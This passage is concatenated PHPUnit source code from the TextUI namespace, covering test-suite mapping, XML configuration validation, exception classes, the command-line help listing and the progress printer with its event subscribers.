PHPUnit\TextUI\TestDirectoryNotFoundException; use PHPUnit\TextUI\TestFileNotFoundException; use SebastianBergmann\FileIterator\Facade; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteMapper { /** * @psalm-param non-empty-string $xmlConfigurationFile, * * @throws RuntimeException * @throws TestDirectoryNotFoundException * @throws TestFileNotFoundException */ public function map(string $xmlConfigurationFile, TestSuiteCollection $configuration, string $filter, string $excludedTestSuites): TestSuiteObject { try { $filterAsArray = $filter ? explode(',', $filter) : []; $excludedFilterAsArray = $excludedTestSuites ? explode(',', $excludedTestSuites) : []; $result = TestSuiteObject::empty($xmlConfigurationFile); foreach ($configuration as $testSuiteConfiguration) { if (!empty($filterAsArray) && !in_array($testSuiteConfiguration->name(), $filterAsArray, true)) { continue; } if (!empty($excludedFilterAsArray) && in_array($testSuiteConfiguration->name(), $excludedFilterAsArray, true)) { continue; } $exclude = []; foreach ($testSuiteConfiguration->exclude()->asArray() as $file) { $exclude[] = $file->path(); } $files = []; foreach ($testSuiteConfiguration->directories() as $directory) { if (!str_contains($directory->path(), '*') && !is_dir($directory->path())) { throw new TestDirectoryNotFoundException($directory->path()); } if (!version_compare(PHP_VERSION, $directory->phpVersion(), $directory->phpVersionOperator()->asString())) { continue; } $files = array_merge( $files, (new Facade)->getFilesAsArray( $directory->path(), $directory->suffix(), $directory->prefix(), $exclude, ), ); } foreach ($testSuiteConfiguration->files() as $file) { if (!is_file($file->path())) { throw new TestFileNotFoundException($file->path()); } if (!version_compare(PHP_VERSION, $file->phpVersion(), $file->phpVersionOperator()->asString())) { continue; } $files[] = $file->path(); } if (!empty($files)) { $testSuite = TestSuiteObject::empty($testSuiteConfiguration->name()); $testSuite->addTestFiles(array_unique($files)); $result->addTest($testSuite); } } return $result; } catch (FrameworkException $e) { throw new RuntimeException( $e->getMessage(), $e->getCode(), $e, ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use const PHP_EOL; use function sprintf; use function trim; use LibXMLError; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class ValidationResult { /** * @psalm-var array> */ private readonly array $validationErrors; /** * @psalm-param array $errors */ public static function fromArray(array $errors): self { $validationErrors = []; foreach ($errors as $error) { if (!isset($validationErrors[$error->line])) { $validationErrors[$error->line] = []; } $validationErrors[$error->line][] = trim($error->message); } return new self($validationErrors); } private function __construct(array $validationErrors) { $this->validationErrors = $validationErrors; } public function hasValidationErrors(): bool { return !empty($this->validationErrors); } public function asString(): string { $buffer = ''; foreach ($this->validationErrors as $line => $validationErrorsOnLine) { $buffer .= sprintf(PHP_EOL . ' Line %d:' . PHP_EOL, $line); foreach ($validationErrorsOnLine as $validationError) { $buffer .= sprintf(' - %s' . PHP_EOL, $validationError); } } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function file_get_contents; use function libxml_clear_errors; use function libxml_get_errors; use function libxml_use_internal_errors; use DOMDocument; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Validator { public function validate(DOMDocument $document, string $xsdFilename): ValidationResult { $originalErrorHandling = libxml_use_internal_errors(true); $document->schemaValidateSource(file_get_contents($xsdFilename)); $errors = libxml_get_errors(); libxml_clear_errors(); libxml_use_internal_errors($originalErrorHandling); return ValidationResult::fromArray($errors); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CannotOpenSocketException extends RuntimeException implements Exception { public function __construct(string $hostname, int $port) { parent::__construct( sprintf( 'Cannot open socket %s:%d', $hostname, $port, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidSocketException extends RuntimeException implements Exception { public function __construct(string $socket) { parent::__construct( sprintf( '"%s" does not match "socket://hostname:port" format', $socket, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RuntimeException extends \RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestDirectoryNotFoundException extends RuntimeException implements Exception { public function __construct(string $path) { parent::__construct( sprintf( 'Test directory "%s" not found', $path, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFileNotFoundException extends RuntimeException implements Exception { public function __construct(string $path) { parent::__construct( sprintf( 'Test file "%s" not found', $path, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use const PHP_EOL; use function count; use function defined; use function explode; use function max; use function preg_replace_callback; use function str_pad; use function str_repeat; use function strlen; use function wordwrap; use PHPUnit\Util\Color; use SebastianBergmann\Environment\Console; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Help { private const LEFT_MARGIN = ' '; private int $lengthOfLongestOptionName = 0; private readonly int $columnsAvailableForDescription; private ?bool $hasColor; public function __construct(?int $width = null, ?bool $withColor = null) { if ($width === null) { $width = (new Console)->getNumberOfColumns(); } if ($withColor === null) { $this->hasColor = (new Console)->hasColorSupport(); } else { $this->hasColor = $withColor; } foreach ($this->elements() as $options) { foreach ($options as $option) { if (isset($option['arg'])) { $this->lengthOfLongestOptionName = max($this->lengthOfLongestOptionName, strlen($option['arg'])); } } } $this->columnsAvailableForDescription = $width - $this->lengthOfLongestOptionName - 4; } public function generate(): string { if ($this->hasColor) { return $this->writeWithColor(); } return $this->writeWithoutColor(); } private function writeWithoutColor(): string { $buffer = ''; foreach ($this->elements() as $section => $options) { $buffer .= "{$section}:" . PHP_EOL; if ($section !== 'Usage') { $buffer .= PHP_EOL; } foreach ($options as $option) { if (isset($option['spacer'])) { $buffer .= PHP_EOL; } if (isset($option['text'])) { $buffer .= self::LEFT_MARGIN . $option['text'] . PHP_EOL; } if (isset($option['arg'])) { $arg = str_pad($option['arg'], $this->lengthOfLongestOptionName); $buffer .= self::LEFT_MARGIN . $arg . ' ' . $option['desc'] . PHP_EOL; } } $buffer .= PHP_EOL; } return $buffer; } private function writeWithColor(): string { $buffer = ''; foreach ($this->elements() as $section => $options) { $buffer .= Color::colorize('fg-yellow', "{$section}:") . PHP_EOL; if ($section !== 'Usage') { $buffer .= PHP_EOL; } foreach ($options as $option) { if (isset($option['spacer'])) { $buffer .= PHP_EOL; } if (isset($option['text'])) { $buffer .= self::LEFT_MARGIN . $option['text'] . PHP_EOL; } if (isset($option['arg'])) { $arg = Color::colorize('fg-green', str_pad($option['arg'], $this->lengthOfLongestOptionName)); $arg = preg_replace_callback( '/(<[^>]+>)/', static fn ($matches) => Color::colorize('fg-cyan', $matches[0]), $arg, ); $desc = explode(PHP_EOL, wordwrap($option['desc'], $this->columnsAvailableForDescription, PHP_EOL)); $buffer .= self::LEFT_MARGIN . $arg . ' ' . $desc[0] . PHP_EOL; for ($i = 1; $i < count($desc); $i++) { $buffer .= str_repeat(' ', $this->lengthOfLongestOptionName + 3) . $desc[$i] . PHP_EOL; } } } $buffer .= PHP_EOL; } return $buffer; } /** * @psalm-return array> */ private function elements(): array { $elements = [ 'Usage' => [ ['text' => 'phpunit [options] ...'], ], 'Configuration' => [ ['arg' => '--bootstrap ', 'desc' => 'A PHP script that is included before the tests run'], ['arg' => '-c|--configuration ', 'desc' => 'Read configuration from XML file'], ['arg' => '--no-configuration', 'desc' => 'Ignore default configuration file (phpunit.xml)'], ['arg' => '--no-extensions', 'desc' => 'Do not load PHPUnit extensions'], ['arg' => '--include-path ', 'desc' => 'Prepend PHP\'s include_path with given path(s)'], ['arg' => '-d ', 'desc' => 'Sets a php.ini value'], ['arg' => '--cache-directory ', 'desc' => 'Specify cache directory'], ['arg' => '--generate-configuration', 'desc' => 'Generate configuration file with suggested settings'], ['arg' => '--migrate-configuration', 'desc' => 'Migrate configuration file to current format'], ['arg' => '--generate-baseline ', 'desc' => 'Generate baseline for issues'], ['arg' => '--use-baseline ', 'desc' => 'Use baseline to ignore issues'], ['arg' => '--ignore-baseline', 'desc' => 'Do not use baseline to ignore issues'], ], 'Selection' => [ ['arg' => '--list-suites', 'desc' => 'List available test suites'], ['arg' => '--testsuite ', 'desc' => 'Only run tests from the specified test suite(s)'], ['arg' => '--exclude-testsuite ', 'desc' => 'Exclude tests from the specified test suite(s)'], ['arg' => '--list-groups', 'desc' => 'List available test groups'], ['arg' => '--group ', 'desc' => 'Only run tests from the specified group(s)'], ['arg' => '--exclude-group ', 'desc' => 'Exclude tests from the specified group(s)'], ['arg' => '--covers ', 'desc' => 'Only run tests that intend to cover '], ['arg' => '--uses ', 'desc' => 'Only run tests that intend to use '], ['arg' => '--list-tests', 'desc' => 'List available tests'], ['arg' => '--list-tests-xml ', 'desc' => 'List available tests in XML format'], ['arg' => '--filter ', 'desc' => 'Filter which tests to run'], ['arg' => '--test-suffix ', 'desc' => 'Only search for test in files with specified suffix(es). Default: Test.php,.phpt'], ], 'Execution' => [ ['arg' => '--process-isolation', 'desc' => 'Run each test in a separate PHP process'], ['arg' => '--globals-backup', 'desc' => 'Backup and restore $GLOBALS for each test'], ['arg' => '--static-backup', 'desc' => 'Backup and restore static properties for each test'], ['spacer' => ''], ['arg' => '--strict-coverage', 'desc' => 'Be strict about code coverage metadata'], ['arg' => '--strict-global-state', 'desc' => 'Be strict about changes to global state'], ['arg' => '--disallow-test-output', 'desc' => 'Be strict about output during tests'], ['arg' => '--enforce-time-limit', 'desc' => 'Enforce time limit based on test size'], ['arg' => '--default-time-limit ', 'desc' => 'Timeout in seconds for tests that have no declared size'], ['arg' => '--do-not-report-useless-tests', 'desc' => 'Do not report tests that do not test anything'], ['spacer' => ''], ['arg' => '--stop-on-defect', 'desc' => 'Stop after first error, failure, warning, or risky test'], ['arg' => '--stop-on-error', 'desc' => 'Stop after first error'], ['arg' => '--stop-on-failure', 'desc' => 'Stop after first failure'], ['arg' => '--stop-on-warning', 'desc' => 'Stop after first warning'], ['arg' => '--stop-on-risky', 'desc' => 'Stop after first risky test'], ['arg' => '--stop-on-deprecation', 'desc' => 'Stop after first test that triggered a deprecation'], ['arg' => '--stop-on-notice', 'desc' => 'Stop after first test that triggered a notice'], ['arg' => '--stop-on-skipped', 'desc' => 'Stop after first skipped test'], ['arg' => '--stop-on-incomplete', 'desc' => 'Stop after first incomplete test'], ['spacer' => ''], ['arg' => '--fail-on-empty-test-suite', 'desc' => 'Signal failure using shell exit code when no tests were run'], ['arg' => '--fail-on-warning', 'desc' => 'Signal failure using shell exit code when a warning was triggered'], ['arg' => '--fail-on-risky', 'desc' => 'Signal failure using shell exit code when a test was considered risky'], ['arg' => '--fail-on-deprecation', 'desc' => 'Signal failure using shell exit code when a deprecation was triggered'], ['arg' => '--fail-on-phpunit-deprecation', 'desc' => 'Signal failure using shell exit code when a PHPUnit deprecation was triggered'], ['arg' => '--fail-on-phpunit-warning', 'desc' => 'Signal failure using shell exit code when a PHPUnit warning was triggered'], ['arg' => '--fail-on-notice', 'desc' => 'Signal failure using shell exit code when a notice was triggered'], ['arg' => '--fail-on-skipped', 'desc' => 'Signal failure using shell exit code when a test was skipped'], ['arg' => '--fail-on-incomplete', 'desc' => 'Signal failure using shell exit code when a test was marked incomplete'], ['arg' => '--fail-on-all-issues', 'desc' => 'Signal failure using shell exit code when an issue is triggered'], ['spacer' => ''], ['arg' => '--do-not-fail-on-empty-test-suite', 'desc' => 'Do not signal failure using shell exit code when no tests were run'], ['arg' => '--do-not-fail-on-warning', 'desc' => 'Do not signal failure using shell exit code when a warning was triggered'], ['arg' => '--do-not-fail-on-risky', 'desc' => 'Do not signal failure using shell exit code when a test was considered risky'], ['arg' => '--do-not-fail-on-deprecation', 'desc' => 'Do not signal failure using shell exit code when a deprecation was triggered'], ['arg' => '--do-not-fail-on-phpunit-deprecation', 'desc' => 'Do not signal failure using shell exit code when a PHPUnit deprecation was triggered'], ['arg' => '--do-not-fail-on-phpunit-warning', 'desc' => 'Do not signal failure using shell exit code when a PHPUnit warning was triggered'], ['arg' => '--do-not-fail-on-notice', 'desc' => 'Do not signal failure using shell exit code when a notice was triggered'], ['arg' => '--do-not-fail-on-skipped', 'desc' => 'Do not signal failure using shell exit code when a test was skipped'], ['arg' => '--do-not-fail-on-incomplete', 'desc' => 'Do not signal failure using shell exit code when a test was marked incomplete'], ['spacer' => ''], ['arg' => '--cache-result', 'desc' => 'Write test results to cache file'], ['arg' => '--do-not-cache-result', 'desc' => 'Do not write test results to cache file'], ['spacer' => ''], ['arg' => '--order-by ', 'desc' => 'Run tests in order: default|defects|depends|duration|no-depends|random|reverse|size'], ['arg' => '--random-order-seed ', 'desc' => 'Use the specified random seed when running tests in random order'], ], 'Reporting' => [ ['arg' => '--colors ', 'desc' => 'Use colors in output ("never", "auto" or "always")'], ['arg' => '--columns ', 'desc' => 'Number of columns to use for progress output'], ['arg' => '--columns max', 'desc' => 'Use maximum number of columns for progress output'], ['arg' => '--stderr', 'desc' => 'Write to STDERR instead of STDOUT'], ['spacer' => ''], ['arg' => '--no-progress', 'desc' => 'Disable output of test execution progress'], ['arg' => '--no-results', 'desc' => 'Disable output of test results'], ['arg' => '--no-output', 'desc' => 'Disable all output'], ['spacer' => ''], ['arg' => '--display-incomplete', 'desc' => 'Display details for incomplete tests'], ['arg' => '--display-skipped', 'desc' => 'Display details for skipped tests'], ['arg' => '--display-deprecations', 'desc' => 'Display details for deprecations triggered by tests'], ['arg' => '--display-phpunit-deprecations', 'desc' => 'Display details for PHPUnit deprecations'], ['arg' => '--display-errors', 'desc' => 'Display details for errors triggered by tests'], ['arg' => '--display-notices', 'desc' => 'Display details for notices triggered by tests'], ['arg' => '--display-warnings', 'desc' => 'Display details for warnings triggered by tests'], ['arg' => '--display-all-issues', 'desc' => 'Display details for all issues that are triggered'], ['arg' => '--reverse-list', 'desc' => 'Print defects in reverse order'], ['spacer' => ''], ['arg' => '--teamcity', 'desc' => 'Replace default progress and result output with TeamCity format'], ['arg' => '--testdox', 'desc' => 'Replace default result output with TestDox format'], ['spacer' => ''], ['arg' => '--debug', 'desc' => 'Replace default progress and result output with debugging information'], ], 'Logging' => [ ['arg' => '--log-junit ', 'desc' => 'Write test results in JUnit XML format to file'], ['arg' => '--log-teamcity ', 'desc' => 'Write test results in TeamCity format to file'], ['arg' => '--testdox-html ', 'desc' => 'Write test results in TestDox format (HTML) to file'], ['arg' => '--testdox-text ', 'desc' => 'Write test results in TestDox format (plain text) to file'], ['arg' => '--log-events-text ', 'desc' => 'Stream events as plain text to file'], ['arg' => '--log-events-verbose-text ', 'desc' => 'Stream events as plain text with extended information to file'], ['arg' => '--no-logging', 'desc' => 'Ignore logging configured in the XML configuration file'], ], 'Code Coverage' => [ ['arg' => '--coverage-clover ', 'desc' => 'Write code coverage report in Clover XML format to file'], ['arg' => '--coverage-cobertura ', 'desc' => 'Write code coverage report in Cobertura XML format to file'], ['arg' => '--coverage-crap4j ', 'desc' => 'Write code coverage report in Crap4J XML format to file'], ['arg' => '--coverage-html ', 'desc' => 'Write code coverage report in HTML format to directory'], ['arg' => '--coverage-php ', 'desc' => 'Write serialized code coverage data to file'], ['arg' => '--coverage-text=', 'desc' => 'Write code coverage report in text format to file [default: standard output]'], ['arg' => '--only-summary-for-coverage-text', 'desc' => 'Option for code coverage report in text format: only show summary'], ['arg' => '--show-uncovered-for-coverage-text', 'desc' => 'Option for code coverage report in text format: show uncovered files'], ['arg' => '--coverage-xml ', 'desc' => 'Write code coverage report in XML format to directory'], ['arg' => '--warm-coverage-cache', 'desc' => 'Warm static analysis cache'], ['arg' => '--coverage-filter ', 'desc' => 'Include in code coverage reporting'], ['arg' => '--path-coverage', 'desc' => 'Report path coverage in addition to line coverage'], ['arg' => '--disable-coverage-ignore', 'desc' => 'Disable metadata for ignoring code coverage'], ['arg' => '--no-coverage', 'desc' => 'Ignore code coverage reporting configured in the XML configuration file'], ], ]; if (defined('__PHPUNIT_PHAR__')) { $elements['PHAR'] = [ ['arg' => '--manifest', 'desc' => 'Print Software Bill of Materials (SBOM) in plain-text format'], ['arg' => '--sbom', 'desc' => 'Print Software Bill of Materials (SBOM) in CycloneDX XML format'], ['arg' => '--composer-lock', 'desc' => 'Print composer.lock file used to build the PHAR'], ]; } $elements['Miscellaneous'] = [ ['arg' => '-h|--help', 'desc' => 'Prints this usage information'], ['arg' => '--version', 'desc' => 'Prints the version and exits'], ['arg' => '--atleast-version ', 'desc' => 'Checks that version is greater than and exits'], ['arg' => '--check-version', 'desc' => 'Checks whether PHPUnit is the latest version and exits'], ['arg' => '--check-php-configuration', 'desc' => 'Checks whether PHP configuration follows best practices'], ]; return $elements; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use function floor; use function sprintf; use function str_contains; use function str_repeat; use function strlen; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErrorTriggered; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\TestRunner\ExecutionStarted; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\Framework\TestStatus\TestStatus; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\SourceFilter; use PHPUnit\TextUI\Output\Printer; use PHPUnit\Util\Color; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ProgressPrinter { private readonly Printer $printer; private readonly bool $colors; private readonly int $numberOfColumns; private readonly Source $source; private int $column = 0; private int $numberOfTests = 0; private int $numberOfTestsWidth = 0; private int $maxColumn = 0; private int $numberOfTestsRun = 0; private ?TestStatus $status = null; private bool $prepared = false; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Printer $printer, Facade $facade, bool $colors, int $numberOfColumns, Source $source) { $this->printer = $printer; $this->colors = $colors; $this->numberOfColumns = $numberOfColumns; $this->source = $source; $this->registerSubscribers($facade); } public function testRunnerExecutionStarted(ExecutionStarted $event): void { $this->numberOfTestsRun = 0; $this->numberOfTests = $event->testSuite()->count(); $this->numberOfTestsWidth = strlen((string) $this->numberOfTests); $this->column = 0; $this->maxColumn = $this->numberOfColumns - strlen(' / (XXX%)') - (2 * $this->numberOfTestsWidth); } public function beforeTestClassMethodErrored(): void { $this->printProgressForError(); $this->updateTestStatus(TestStatus::error()); } public function testPrepared(): void { $this->prepared = true; } public function testSkipped(): void { if (!$this->prepared) { $this->printProgressForSkipped(); } else { $this->updateTestStatus(TestStatus::skipped()); } } public function testMarkedIncomplete(): void { $this->updateTestStatus(TestStatus::incomplete()); } public function testTriggeredNotice(NoticeTriggered $event): void { if ($event->ignoredByBaseline()) { return; } if ($this->source->restrictNotices() && !SourceFilter::instance()->includes($event->file())) { return; } if (!$this->source->ignoreSuppressionOfNotices() && $event->wasSuppressed()) { return; } $this->updateTestStatus(TestStatus::notice()); } public function testTriggeredPhpNotice(PhpNoticeTriggered $event): void { if ($event->ignoredByBaseline()) { return; } if ($this->source->restrictNotices() && !SourceFilter::instance()->includes($event->file())) { return; } if (!$this->source->ignoreSuppressionOfPhpNotices() && $event->wasSuppressed()) { return; } $this->updateTestStatus(TestStatus::notice()); } public function testTriggeredDeprecation(DeprecationTriggered $event): void { if ($event->ignoredByBaseline() || $event->ignoredByTest()) { return; } if ($this->source->restrictDeprecations() && !SourceFilter::instance()->includes($event->file())) { return; } if (!$this->source->ignoreSuppressionOfDeprecations() && $event->wasSuppressed()) { return; } $this->updateTestStatus(TestStatus::deprecation()); } public function testTriggeredPhpDeprecation(PhpDeprecationTriggered $event): void { if ($event->ignoredByBaseline() || $event->ignoredByTest()) { return; } if ($this->source->restrictDeprecations() && !SourceFilter::instance()->includes($event->file())) { return; } if (!$this->source->ignoreSuppressionOfPhpDeprecations() && $event->wasSuppressed()) { return; } $this->updateTestStatus(TestStatus::deprecation()); } public function testTriggeredPhpunitDeprecation(): void { $this->updateTestStatus(TestStatus::deprecation()); } public function testConsideredRisky(): void { $this->updateTestStatus(TestStatus::risky()); } public function testTriggeredWarning(WarningTriggered $event): void { if ($event->ignoredByBaseline()) { return; } if ($this->source->restrictWarnings() && !SourceFilter::instance()->includes($event->file())) { return; } if (!$this->source->ignoreSuppressionOfWarnings() && $event->wasSuppressed()) { return; } $this->updateTestStatus(TestStatus::warning()); } public function testTriggeredPhpWarning(PhpWarningTriggered $event): void { if ($event->ignoredByBaseline()) { return; } if ($this->source->restrictWarnings() && !SourceFilter::instance()->includes($event->file())) { return; } if (!$this->source->ignoreSuppressionOfPhpWarnings() && $event->wasSuppressed()) { return; } $this->updateTestStatus(TestStatus::warning()); } public function testTriggeredPhpunitWarning(): void { $this->updateTestStatus(TestStatus::warning()); } public function testTriggeredError(ErrorTriggered $event): void { if (!$this->source->ignoreSuppressionOfErrors() && $event->wasSuppressed()) { return; } $this->updateTestStatus(TestStatus::error()); } public function testFailed(): void { $this->updateTestStatus(TestStatus::failure()); } public function testErrored(Errored $event): void { /* * @todo Eliminate this special case */ if (str_contains($event->asString(), 'Test was run in child process and ended unexpectedly')) { $this->updateTestStatus(TestStatus::error()); return; } if (!$this->prepared) { $this->printProgressForError(); } else { $this->updateTestStatus(TestStatus::error()); } } public function testFinished(): void { if ($this->status === null) { $this->printProgressForSuccess(); } elseif ($this->status->isSkipped()) { $this->printProgressForSkipped(); } elseif ($this->status->isIncomplete()) { $this->printProgressForIncomplete(); } elseif ($this->status->isRisky()) { $this->printProgressForRisky(); } elseif ($this->status->isNotice()) { $this->printProgressForNotice(); } elseif ($this->status->isDeprecation()) { $this->printProgressForDeprecation(); } elseif ($this->status->isWarning()) { $this->printProgressForWarning(); } elseif ($this->status->isFailure()) { $this->printProgressForFailure(); } else { $this->printProgressForError(); } $this->status = null; $this->prepared = false; } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function registerSubscribers(Facade $facade): void { $facade->registerSubscribers( new BeforeTestClassMethodErroredSubscriber($this), new TestConsideredRiskySubscriber($this), new TestErroredSubscriber($this), new TestFailedSubscriber($this), new TestFinishedSubscriber($this), new TestMarkedIncompleteSubscriber($this), new TestPreparedSubscriber($this), new TestRunnerExecutionStartedSubscriber($this), new TestSkippedSubscriber($this), new TestTriggeredDeprecationSubscriber($this), new TestTriggeredNoticeSubscriber($this), new TestTriggeredPhpDeprecationSubscriber($this), new TestTriggeredPhpNoticeSubscriber($this), new TestTriggeredPhpunitDeprecationSubscriber($this), new TestTriggeredPhpunitWarningSubscriber($this), new TestTriggeredPhpWarningSubscriber($this), new TestTriggeredWarningSubscriber($this), ); } private function updateTestStatus(TestStatus $status): void { if ($this->status !== null && $this->status->isMoreImportantThan($status)) { return; } $this->status = $status; } private function printProgressForSuccess(): void { $this->printProgress('.'); } private function printProgressForSkipped(): void { $this->printProgressWithColor('fg-cyan, bold', 'S'); } private function printProgressForIncomplete(): void { $this->printProgressWithColor('fg-yellow, bold', 'I'); } private function printProgressForNotice(): void { $this->printProgressWithColor('fg-yellow, bold', 'N'); } private function printProgressForDeprecation(): void { $this->printProgressWithColor('fg-yellow, bold', 'D'); } private function printProgressForRisky(): void { $this->printProgressWithColor('fg-yellow, bold', 'R'); } private function printProgressForWarning(): void { $this->printProgressWithColor('fg-yellow, bold', 'W'); } private function printProgressForFailure(): void { $this->printProgressWithColor('bg-red, fg-white', 'F'); } private function printProgressForError(): void { $this->printProgressWithColor('fg-red, bold', 'E'); } private function printProgressWithColor(string $color, string $progress): void { if ($this->colors) { $progress = Color::colorizeTextBox($color, $progress); } $this->printProgress($progress); } private function printProgress(string $progress): void { $this->printer->print($progress); $this->column++; $this->numberOfTestsRun++; if ($this->column === $this->maxColumn || $this->numberOfTestsRun === $this->numberOfTests) { if ($this->numberOfTestsRun === $this->numberOfTests) { $this->printer->print(str_repeat(' ', $this->maxColumn - $this->column)); } $this->printer->print( sprintf( ' %' . $this->numberOfTestsWidth . 'd / %' . $this->numberOfTestsWidth . 'd (%3s%%)', $this->numberOfTestsRun, $this->numberOfTests, floor(($this->numberOfTestsRun / $this->numberOfTests) * 100), ), ); if ($this->column === $this->maxColumn) { $this->column = 0; $this->printer->print("\n"); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\BeforeFirstTestMethodErrored; use PHPUnit\Event\Test\BeforeFirstTestMethodErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class BeforeTestClassMethodErroredSubscriber extends Subscriber implements BeforeFirstTestMethodErroredSubscriber { public function notify(BeforeFirstTestMethodErrored $event): void { $this->printer()->beforeTestClassMethodErrored(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly ProgressPrinter $printer; public function __construct(ProgressPrinter $printer) { $this->printer = $printer; } protected function printer(): ProgressPrinter { return $this->printer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\ConsideredRiskySubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestConsideredRiskySubscriber extends Subscriber implements ConsideredRiskySubscriber { public function notify(ConsideredRisky $event): void { $this->printer()->testConsideredRisky(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestErroredSubscriber extends Subscriber implements ErroredSubscriber { public function notify(Errored $event): void { $this->printer()->testErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\FailedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFailedSubscriber extends Subscriber implements FailedSubscriber { public function notify(Failed $event): void { $this->printer()->testFailed(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFinishedSubscriber extends Subscriber implements FinishedSubscriber { public function notify(Finished $event): void { $this->printer()->testFinished(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\MarkedIncompleteSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestMarkedIncompleteSubscriber extends Subscriber implements MarkedIncompleteSubscriber { public function notify(MarkedIncomplete $event): void { $this->printer()->testMarkedIncomplete(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\PreparedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise 